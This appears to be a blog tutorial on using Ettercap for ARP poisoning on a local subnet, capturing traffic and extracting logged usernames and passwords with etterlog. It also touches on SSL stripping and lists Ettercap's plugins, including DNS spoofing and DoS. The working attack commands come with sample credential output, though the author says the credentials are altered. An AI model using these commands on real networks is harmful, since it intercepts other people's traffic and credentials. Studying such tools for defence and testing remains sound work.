Ettercap is certainly nothing new, and there is plenty of documentation around to see how to use it, but I was sitting here goofing around and decided to record my results. I am not advocating this type of thing on a public network, and ARP poisoning or other attacks often fall afoul of terms of service for public and private networks, and may even be illegal in some jurisdictions.
I’m going to show you a couple ways you can use Ettercap from ARP poisoning to more advance MITM SSL striping attacks.
First you need to check out your default route.
$ route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.71.0.0 0.0.0.0 255.255.255.0 U 2 0 0 wlan0 0.0.0.0 10.71.0.1 0.0.0.0 UG 0 0 0 wlan0
To sniff the whole subnet, You’ll want to do some ARP poisoning to send all traffic to/from the default route through my system.
$ sudo ettercap -i wlan0 -T -M arp:remote /10.71.0.1/ //
You can also use “// //” to designate ARP poisoning no matter what source and destination ettercap sees. The “-T” tells ettercap to use the text interface, which is still interactive. There is also a curses-based interface, “-C”, and GTK with “-G” though it has always seemed less reliable to me than the others. The curses interface is actually pretty nice.
Once you run the command, ettercap should enumerate hosts and you will start seeing a bunch of traffic information scrolling through your console. How do we know if it’s actually working? If you see non-broadcast traffic destined for other hosts, it will be obvious and you will know you’re successfully sniffing all the traffic.
Another fun way is by opening etherape to see a realtime visualization of the traffic. If you are seeing typical non-broadcast traffic like HTTP, HTTPS, that’s an indicator that you’re successfully ARP poisoning. You can also get a quick idea if there are particular hosts getting a lot of traffic activity. I’ve seen the typical sites like Facebook, Amazon, Akamai, and LLNW, but also more interesting sites that are easily identifiable as VPN concentrators, banks, and more.
You can also of course use various tools including ettercap with the “-w” option to write traffic to a file and review at my leisure to look for interesting data. Ettercap also has an interesting utility to automatically grab usernames and passwords. From the man page:
-L, --log Log all the packets to binary files. These files can be parsed by etterlog(8) to extract human readable data. With this option, all packets sniffed by ettercap will be logged, together with all the passive info (host info + user & pass) it can collect. Given a LOGFILE, ettercap will create LOGFILE.ecp (for packets) and LOGFILE.eci (for the infos).
If you didn’t run this with ettercap originally, you can also run it on a saved packet capture.
$ ettercap -r hotel.raw -L hotel ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Please select an User Interface $ ls hotel* hotel.eci hotel.ecp hotel.raw $ etterlog -a hotel.eci etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA Log file version : NG-0.7.3 Timestamp : Wed Feb 16 14:20:57 2010 Type : LOG_INFO Number of hosts (total) : 248 Number of local hosts : 30 Number of non local hosts : 0 Number of gateway : 0 Number of discovered services : 240 Number of accounts captured : 4 $ etterlog -p hotel.eci 18.104.22.168 TCP 80 USER: fakeuser PASS: fakepasswd
I changed the data above and of course most sites these days are hopefully forcing encrypted logins.
These days, many sites can be hosted on one IP or virtual server. If you’re not catching the DNS or HTTP request specifically before the login that was captured, the easiest way to determine which site on a specific IP was being visited would be opening up the packet capture with a tool like Wireshark, using a filter for the IP, then looking at the actual web traffic for the site’s name. Looking in Wireshark, I can see the GET immediately after the TCP handshake.
GET /members/bbs/showthread.php HTTP/1.1 Host: www.fakedomain.com
This really just scratches the surface of what you can do with ettercap and other network tools. ARP poisoning still works, particularly on public networks, and many people log in to many services that can be easily compromised through sniffing (I write while sitting in an airport on public WiFi logged into my blogger account). A relatively recent high profile example was when the Metasploit site was briefly hijacked by successful ARP poisoning.
Man-in-the-Middle SSL Striping
I found some good videos explaining this attack. Seeing as it would be a rather large explanation on paper. Thanks to infosecinstitute for the great tutorials.
Demo of the Attack
Explanation Part 1
Explanation Part 2
Here’s a list I got straight from ettercap of all the plugins ettercap comes with by default.
$ ettercap -P list ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Available plugins : arp_cop 1.1 Report suspicious ARP activity autoadd 1.2 Automatically add new victims in the target range chk_poison 1.1 Check if the poisoning had success dns_spoof 1.1 Sends spoofed dns replies dos_attack 1.0 Run a d.o.s. attack against an IP address dummy 3.0 A plugin template (for developers) find_conn 1.0 Search connections on a switched LAN find_ettercap 2.0 Try to find ettercap activity find_ip 1.0 Search an unused IP address in the subnet finger 1.6 Fingerprint a remote host finger_submit 1.0 Submit a fingerprint to ettercap's website gre_relay 1.0 Tunnel broker for redirected GRE tunnels gw_discover 1.0 Try to find the LAN gateway isolate 1.0 Isolate an host from the lan link_type 1.0 Check the link type (hub/switch) pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2 pptp_clear 1.0 PPTP: Tries to force cleartext tunnel pptp_pap 1.0 PPTP: Forces PAP authentication pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation rand_flood 1.0 Flood the LAN with random MAC addresses remote_browser 1.2 Sends visited URLs to the browser reply_arp 1.0 Simple arp responder repoison_arp 1.0 Repoison after broadcast ARP scan_poisoner 1.0 Actively search other poisoners search_promisc 1.2 Search promisc NICs in the LAN smb_clear 1.0 Tries to force SMB cleartext auth smb_down 1.0 Tries to force SMB to not use NTLM2 key auth stp_mangler 1.0 Become root of a switches spanning tree